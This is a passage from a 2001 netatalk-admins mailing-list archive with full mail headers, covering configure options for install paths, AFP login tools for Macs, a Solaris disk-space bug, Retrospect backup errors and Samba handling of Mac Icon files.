	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 16:40:10 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA05636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 16:40:10 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA05617
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 16:40:09 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA05575
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 16:40:07 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fBALe58l014186
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 22:40:05 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fBALe3Oi020888
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 22:40:04 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fBALe3Pc020886
	for netatalk-admins@umich.edu; Mon, 10 Dec 2001 22:40:03 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 16DXSA-0002OD-00; Mon, 10 Dec 2001 21:55:10 +0100
Date: Mon, 10 Dec 2001 21:55:10 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] atalkd doesn't start anymore
Message-ID: <20011210215510.A9082@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <01121020063400.01599@athlet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <01121020063400.01599@athlet>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Dec 10, 2001 at 07:33:47PM +0100, Carsten Neumann wrote:

> BTW: It would be fine if the default man directory would be PREFIX/share/man instead of PREFIX/man
> for FHS compatibility.

Please use the --enable-fhs configure option.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Dec 10 17:08:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA01410
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 17:08:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA21347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 17:08:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA21325
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 17:08:08 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA21287
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 17:08:07 -0500 (EST)
Received: from white-mountain.org (localhost.localdomain [127.0.0.1])
	by hermit.white-mountain.org (Postfix) with ESMTP
	id 5D0BF4437; Mon, 10 Dec 2001 14:08:06 -0800 (PST)
Message-ID: <3C153204.DE2985FC@white-mountain.org>
Date: Mon, 10 Dec 2001 14:07:00 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Brian Curtis <Bcurtis@KSVC.com>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: Netatalk compile
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7457@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The files appear under /usr/local by default - look in
/usr/local/etc/netatalk.

Brian Curtis wrote:

>
>
> When I run a Make and Make install I'm not getting files in the /etc
> folder?  Any suggestions?
>
> Brian Curtis
>
> Information Technology Manager
> Red-Wire
> Kelliher Samets Volk
> 802.862.8261


From netatalk.administrators-errors@umich.edu  Mon Dec 10 17:31:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02782
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 17:31:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA05967
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 17:31:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA05950
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 17:31:13 -0500 (EST)
Received: from mail.harrisonburg.k12.va.us (mail.harrisonburg.k12.va.us [204.111.40.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA05913
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 17:31:12 -0500 (EST)
Received: from [192.168.1.10] (ha84s023.d.shentel.net [204.111.84.23])
	(authenticated)
	by mail.harrisonburg.k12.va.us (8.11.4/8.11.4) with ESMTP id fBAMV8K18577;
	Mon, 10 Dec 2001 17:31:09 -0500
Subject: Re: Netatalk compile
From: Rob Lineweaver <rbline@wm.edu>
To: Jamie Flournoy <jamie@white-mountain.org>
Cc: Brian Curtis <Bcurtis@KSVC.com>, netatalk-admins@umich.edu
In-Reply-To: <3C153204.DE2985FC@white-mountain.org>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7457@ksvcmail.ksvc.com> 
	<3C153204.DE2985FC@white-mountain.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 10 Dec 2001 17:31:07 -0500
Message-Id: <1008023469.891.0.camel@iggy>
Mime-Version: 1.0


This default behavior is adjustable by passing --sysconfdir=/etc to
./configure before you run make.

run ./configure --help for more options.

Rob Lineweaver
:)

On Mon, 2001-12-10 at 17:07, Jamie Flournoy wrote:
> The files appear under /usr/local by default - look in
> /usr/local/etc/netatalk.
> 
> Brian Curtis wrote:
> 
> >
> >
> > When I run a Make and Make install I'm not getting files in the /etc
> > folder?  Any suggestions?
> >
> > Brian Curtis



From netatalk.administrators-errors@umich.edu  Mon Dec 10 17:44:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA03320
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 17:44:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA16583
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 17:44:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA16331
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 17:44:17 -0500 (EST)
Received: from smart.eusc.inter.net (smart.eusc.inter.net [213.73.101.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA16130
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 17:44:15 -0500 (EST)
Received: from tc06-n66-014.de.inter.net ([213.73.66.14] helo=athlet.deltaman.de)
	by smart.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 16DZ9b-0003oB-00; Mon, 10 Dec 2001 23:44:07 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA27282;
	Mon, 10 Dec 2001 23:43:50 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] atalkd doesn't start anymore
Date: Mon, 10 Dec 2001 23:39:43 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <01121020063400.01599@athlet> <20011210215510.A9082@jroger.in-berlin.de>
In-Reply-To: <20011210215510.A9082@jroger.in-berlin.de>
MIME-Version: 1.0
Message-Id: <01121023401800.26643@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA03320

On Mon, 10 Dec 2001, Sebastian Rittau wrote:
> On Mon, Dec 10, 2001 at 07:33:47PM +0100, Carsten Neumann wrote:
> 
> > BTW: It would be fine if the default man directory would be PREFIX/share/man instead of PREFIX/man
> > for FHS compatibility.
> 
> Please use the --enable-fhs configure option.
> 
>  - Sebastian

That didn't help! - At least for the CVS stuff.
Does this work for you?

	Carsten

From netatalk.administrators-errors@umich.edu  Mon Dec 10 18:29:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA05104
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 18:29:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA12567
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 18:29:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA12549
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 18:29:30 -0500 (EST)
Received: from gigi.excite.com (gigi.excite.com [199.172.152.110])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA12503
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 18:29:28 -0500 (EST)
Received: from blizzard.excite.com ([199.172.148.158]) by gigi.excite.com
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20011210232927.TMR23434.gigi.excite.com@blizzard.excite.com>;
          Mon, 10 Dec 2001 15:29:27 -0800
Message-ID: <360629.1008026967187.JavaMail.imail@blizzard.excite.com>
Date: Mon, 10 Dec 2001 15:29:22 -0800 (PST)
From: Joe Rhodes <JoeRhodes1974@excite.com>
To: Jeremy Green <jag@brownout.com>, netatalk-admins@umich.edu
Subject: Re: mac manager
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Excite Inbox
X-Sender-Ip: 208.166.201.27


On Fri, 7 Dec 2001 12:59:35 -0500, Jeremy Green wrote:

>  I guess I need to clarify my previous email.  :)
>  We don't have a MacOSX Server at all so I am trying to figure out if 
>  it is possible to get netatalk to do the authentication for the Macs. 
>  I want a user to be able to log into the mac only if they have an 
>  account set up on our linux box.  I don't have a machine with 
>  Macintosh Manager on it at all I want the linux box to take the place 
>  of the Macintosh manager.
>  has anyone looked into this?
>  Thanks,
>  
>  			-Jeremy
>


It doesn't have all the bells and whistles of MM (and that may be a good
thing) but there is a product called Mac Login which will only allow a Mac
(OS 8-9) to be used if it can authenticate against an AFP server.  It will
also mount the user's home directory on the desktop when they've logged in. 
Check it out at:

http://www.eskimo.com/~kiberkli/maclogin.shtml

I believe it's just been updated to work with AFP over IP.


Cheers!
-Joe





______________________________________________________________________________
Send a friend your Buddy Card and stay in contact always with Excite Messenger
http://messenger.excite.com



From netatalk.administrators-errors@umich.edu  Mon Dec 10 19:40:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 19:40:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA05000
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 19:40:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA04980
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 19:40:08 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA04934
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 19:40:07 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fBB0e4kT020343
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 01:40:05 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fBB0e3Oi030898
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 01:40:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fBB0e3RI030897
	for netatalk-admins@umich.edu; Tue, 11 Dec 2001 01:40:03 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 16Dagq-0002nG-00; Tue, 11 Dec 2001 01:22:32 +0100
Date: Tue, 11 Dec 2001 01:22:32 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] atalkd doesn't start anymore
Message-ID: <20011211012232.A10651@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <01121020063400.01599@athlet> <20011210215510.A9082@jroger.in-berlin.de> <01121023401800.26643@athlet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <01121023401800.26643@athlet>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Mon, Dec 10, 2001 at 11:39:43PM +0100, Carsten Neumann wrote:
> On Mon, 10 Dec 2001, Sebastian Rittau wrote:
> > On Mon, Dec 10, 2001 at 07:33:47PM +0100, Carsten Neumann wrote:
> > 
> > > BTW: It would be fine if the default man directory would be PREFIX/share/man instead of PREFIX/man
> > > for FHS compatibility.
> > 
> > Please use the --enable-fhs configure option.

> That didn't help! - At least for the CVS stuff.
> Does this work for you?

Yeach... I should at least have looked into configure.in:

  dnl FIXME: NEED TO HAVE --mandir=/usr/share/man AT SOME POINT...

Nevertheless --mandir=/usr/share/man should do the trick for now.
/usr/man is the default for autoconf, it seems, and I am very reluctant
to change autoconf defaults when no configure option (like --enable-fhs
or --mandir) is given.

I will change --enable-fhs to default to /usr/share/man, though.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Mon Dec 10 21:20:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA11463
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 21:20:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA10388
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 21:20:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA10374
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 21:20:10 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA10332
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 21:20:09 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBB2J7D29358;
	Mon, 10 Dec 2001 18:19:07 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Dec 2001 18:20:05 -0800
Subject: Request for Volunteer: Solaris needs help!
From: Steve Freitas <sflist@ihonk.com>
To: Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B83AAD55.9FB5%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

There's an unresolved show-stopper bug on Solaris with Netatalk 1.5rc.
Namely, disk space reporting provides the wrong numbers, which are
sufficiently extreme to prevent proper operation. Can someone volunteer to
track this bug down and fix it?

Steve


From netatalk.administrators-errors@umich.edu  Mon Dec 10 22:35:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA14451
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 22:35:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA09677
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 22:35:35 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA09658
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 22:35:35 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA09626
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 22:35:33 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBB3UaJ55665;
	Mon, 10 Dec 2001 22:30:36 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Request for Volunteer: Solaris needs help!
From: Joe Clarke <marcus@marcuscom.com>
To: Steve Freitas <sflist@ihonk.com>
Cc: Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins
	 <netatalk-admins@umich.edu>
In-Reply-To: <B83AAD55.9FB5%sflist@ihonk.com>
References: <B83AAD55.9FB5%sflist@ihonk.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 10 Dec 2001 22:35:35 -0500
Message-Id: <1008041735.33775.6.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Mon, 2001-12-10 at 21:20, Steve Freitas wrote:
> Hi,
> 
> There's an unresolved show-stopper bug on Solaris with Netatalk 1.5rc.
> Namely, disk space reporting provides the wrong numbers, which are
> sufficiently extreme to prevent proper operation. Can someone volunteer to
> track this bug down and fix it?

Steve, I know this problem was brought up at the first IRC meeting, but
could you describe it again, citing exactly where the errors occur, how
big your filesystem actually is, and how big afpd is reporting it is?  I
think I've found a problem, but I want to be sure.  Also, I assume
you're using Solaris 64-bit, correct?  I'm testing with a 64-bit Solaris
8 machine which I do not have root on.

Joe

> 
> Steve
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Mon Dec 10 23:03:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA15700
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Dec 2001 23:03:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA20199
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Dec 2001 23:03:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA20180
	for netatalk.administrators-members@umich.edu; Mon, 10 Dec 2001 23:03:47 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA20139
	for <netatalk-admins@umich.edu>; Mon, 10 Dec 2001 23:03:46 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBB42aD19992;
	Mon, 10 Dec 2001 20:02:36 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 10 Dec 2001 20:03:18 -0800
Subject: Re: [Netatalk-devel] Request for Volunteer: Solaris needs help!
From: Steve Freitas <sflist@ihonk.com>
To: Joe Clarke <marcus@marcuscom.com>, <pkrohn@daemonize.com>
CC: Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B83AC586.9FC2%sflist@ihonk.com>
In-Reply-To: <1008041735.33775.6.camel@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Steve, I know this problem was brought up at the first IRC meeting, but
> could you describe it again, citing exactly where the errors occur, how
> big your filesystem actually is, and how big afpd is reporting it is?  I
> think I've found a problem, but I want to be sure.  Also, I assume
> you're using Solaris 64-bit, correct?  I'm testing with a 64-bit Solaris
> 8 machine which I do not have root on.

Hi Joe,

I don't actually have the problem, I'm just prodding about it. Paul Krohn is
the bug reporter of record, although a couple of others reported it as well.
I'd have to check the compile party log to see.

Paul, can you help Joe out?

Steve


From netatalk.administrators-errors@umich.edu  Tue Dec 11 03:56:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA26529
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 03:56:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA16862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 03:56:09 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA16856
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 03:56:08 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA16822
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 03:56:06 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA20437;
	Tue, 11 Dec 2001 09:56:02 +0100
Message-ID: <3C15CA23.6F3B1E8@euc.de>
Date: Tue, 11 Dec 2001 09:56:03 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Charles Mangin <charles@burneydesign.com>
CC: netatalk-admins@umich.edu
Subject: Re: error -42 with retrospect backup
References: <B82D286F.275%markus.kuschnik@t-online.de>
	 <p05100300b82d3539ed53@[192.168.195.62]> <f05100300b8319f9e5f5b@[192.168.42.39]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA26529

Hi

we have the same problem here (netatalk 1.5.6).
The error occurs only with volumes shared with samba.
The other volumes do normally  - even with large numbers of very small files.
Maybe Retrospect tries to open as many concurrent files while backing up
very small data segments.?

At the moment we are copying that volume to a mac (it's only some Megs)
and back it up from there. ;(

A contact with Dantz and the discussion of the problem was not helpful
because Linux is not yet oficially supported. And - yes - the Linux
version is still in beta.

Charles Mangin wrote:
> 
> i've got a couple of netatalk shared volumes that i'm trying to backup using retrospect. since there isn't a linux retrospect client (yet. last i heard it was in beta) i have the netatalk volumes mounted on the server, which it backs up as normal.
> 
> when i do a normal backup (copying only files that have been modified or created since the last run) all is well, and the performance is actually pretty good. the problem occurs when i do a periodic full backup (copying all files).
> 
> retrospect stops the backup with an error -42, too many files open. these shared volumes don't have any more files on them than the local server volumes do, or any of the other client machines, so there's something odd going on with either the linux filesystem or the netatalk sharing.
> 
> any ideas on this, or any suggestions of better ways to backup the netatalk machine (preferably via retrospect) would be greatly appreciated.

-- 


mit freundlichen grüssen

____________________________________________________________

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln
CONIN - Agentur                  tel : +49-221-218 032
EUC Online Service GmbH          tel : +49-221-923 27 33
punktum postscript-Service       tel : +49-221-240 60 92
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Tue Dec 11 05:58:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA00090
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 05:58:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA05838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 05:58:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA05819
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 05:58:05 -0500 (EST)
Received: from superfly.archi-me-des.de ([62.8.212.177])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA05508
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 05:57:57 -0500 (EST)
Received: (from frank@localhost)
	by superfly.archi-me-des.de (8.9.3/8.9.3) id LAA28056
	for netatalk-admins@umich.edu; Tue, 11 Dec 2001 11:56:46 +0100
Date: Tue, 11 Dec 2001 11:56:46 +0100
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: What is the special character at the end of the Icon^M files?
Message-ID: <20011211115646.A27895@superfly.archi-me-des.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

I mean the Icon files that the Apple clients leave all over the place
(incidentally, does anyone know what they are for?). The bash shell
represents it as a ?, like

Icon?

and the Midnight Commander, for instance, as

Icon^M

I am asking because would like to eventually somehow manage to trick
Samba into vetoing this file . . . vetoing Icon? works, but also vetoes
anything that begins with Icon . . . (i.e. it is evaluated as a regular
expression).

Maybe if I know which character that is, by staring long enough at the
Samba source, I can figure out how to just veto Icon files.

Regards, Frank

From netatalk.administrators-errors@umich.edu  Tue Dec 11 07:50:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04275
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 07:50:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA19105
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 07:50:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA19081
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 07:50:05 -0500 (EST)
Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90])
